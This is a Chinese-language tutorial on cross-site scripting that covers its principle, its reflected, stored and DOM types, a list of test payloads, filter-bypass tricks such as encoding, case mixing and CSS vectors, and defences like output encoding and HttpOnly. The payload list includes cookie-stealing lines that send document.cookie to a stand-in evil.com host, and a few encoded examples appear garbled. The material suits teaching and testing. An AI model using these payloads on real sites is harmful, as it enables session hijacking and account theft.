1.原理
跨站脚本是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。是由于Web应用程序对用户的输入过滤不足又将输入输出到页面中导致。它允许恶意用户将代码注入网页,其他用户在浏览网页时就会收到影响。
2.分类
-
反射型
反射型XSS也被称为非持久型XSS,是现在最容易出现的一种XSS漏洞。当用户访问一个带有XSS代码的URL请求时,服务器端接收到数据后处理,然后把带有XSS代码的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,最终造成XSS漏洞。
-
存储型
存储型XSS又被称为持久型XSS,存储型XSS是最危险的一种跨站脚本。当攻击者提交一段XSS代码后,被服务器端接收并存储,当攻击者再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,造成XSS跨站攻击。
-
DOM型
DOM即文档对象模型,DOM通常用于代表在HTML、XHTM和XML中的对象。使用DOM可以允许程序和脚本动态地访问和更新文档的内容。所以DOM型XSS是不需要服务器端交互的,它只是发生在客户端处理数据阶段。
3.检测语法
<script>alert(1);</script>
<script src="http://www.evil.com/cookie.php"></script>
<script>location.href="http://www.evil.com/cookie.php?cookie="+escape(document.cookie)</script>
<src<script>ipt>alert('xss');</scr</script>ipt>
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=foo.png onerror=alert(/xss/) />
<style>@im\port'\ja\vasc\ript:alert(\"XSS"\);</style>
<marquee><script>alert('xss')</script></marquee>
<IMG SRC=\"jaV	;ascript:alert('XSS');\">
"><script>alert(0)</script>
" onfocus=alert(document.domain)"><"
<body onLoad="while(true) alert('XSS'); ">
"></iframe><script>alert(111)</script>
<div style="background:url('javascript:alert(1)')">
<img src='javascript:alert("xss")'>
4.绕过
-
利用<>标记注射html/javascript
如果网站没有对<>进行过滤,那么用户可执行的恶意脚本可就太多了
<script>alert(111)</script>
-
利用Html标签属性值执行XSS
很多HTML标记中的属性都支持
javascript:[code]
伪协议的形式,这个语法声明了URL的主题是任意的javascript代码。 -
空格回车Tab
如果只对关键字进行过滤,那么用户还可以利用空格、回车、Tab进行绕过
<img src="java script:alert(/xss/)" width=100>
-
对标签属性值进行转码
还可以通过编码处理来绕过,HTML中的属性值本身支持ASCII码形式
<img src="javascript:alert('xss');">
编码后<img src="javascrip$#116:alert(/xss/);">
-
产生自己的事件
如果不能依靠属性值进行跨站,那么可以利用事件,比如click、mouseover、load等,而响应事件的函数就叫做事件处理函数
<input type="button" value="click me" onclick="alert('click me')" />
-
利用CSS跨站
XSS脚本的另一个载体是CSS样式表,使用CSS样式表执行javascript具有隐蔽性、灵活多变
<div style="background-image:url(javascript:alert('xss'))"> <style> body {background-image:url("javascript:alert('xss')");} </style>
-
扰乱过滤规则
<img src="javascript:alert(0);"> # 转换大小写 <IMG SRC="javascript:alert(0);"> # 大小写混写 <iMg sRC="jaVasCript:alert(0);"> # 单引号替换双引号 <img src='javascript:alert(0);'> # 不使用引号 <img src=javascript:alert(0);>
5.防御
# 输入过滤
输入过滤的所有数据都必须经过XSS Filter处理,被确认安全后才存入数据库中。
输入验证:对用户提交的信息进行有效验证,仅接收指定长度范围内的,采用适当格式的内容提交,阻止或者忽略除此之外的任何数据。
数据消毒:对与常见的敏感字符,还需要进行过滤,如< > ' " & # javascript expression
# 输出编码
在数据输出之前先对敏感字符进行转义,这是一个安全的方法,能够有效保持数据完整性。
HTML编码在防止XSS攻击上起到了很大的作用。
# HttpOnly
无法通过js脚本读取到cookie信息
显示 | 实体名字 | 实体编码 |
---|---|---|
< | < ; | < ; |
> | > ; | > ; |
& | & ; | & ; |
" | " ; | " ; |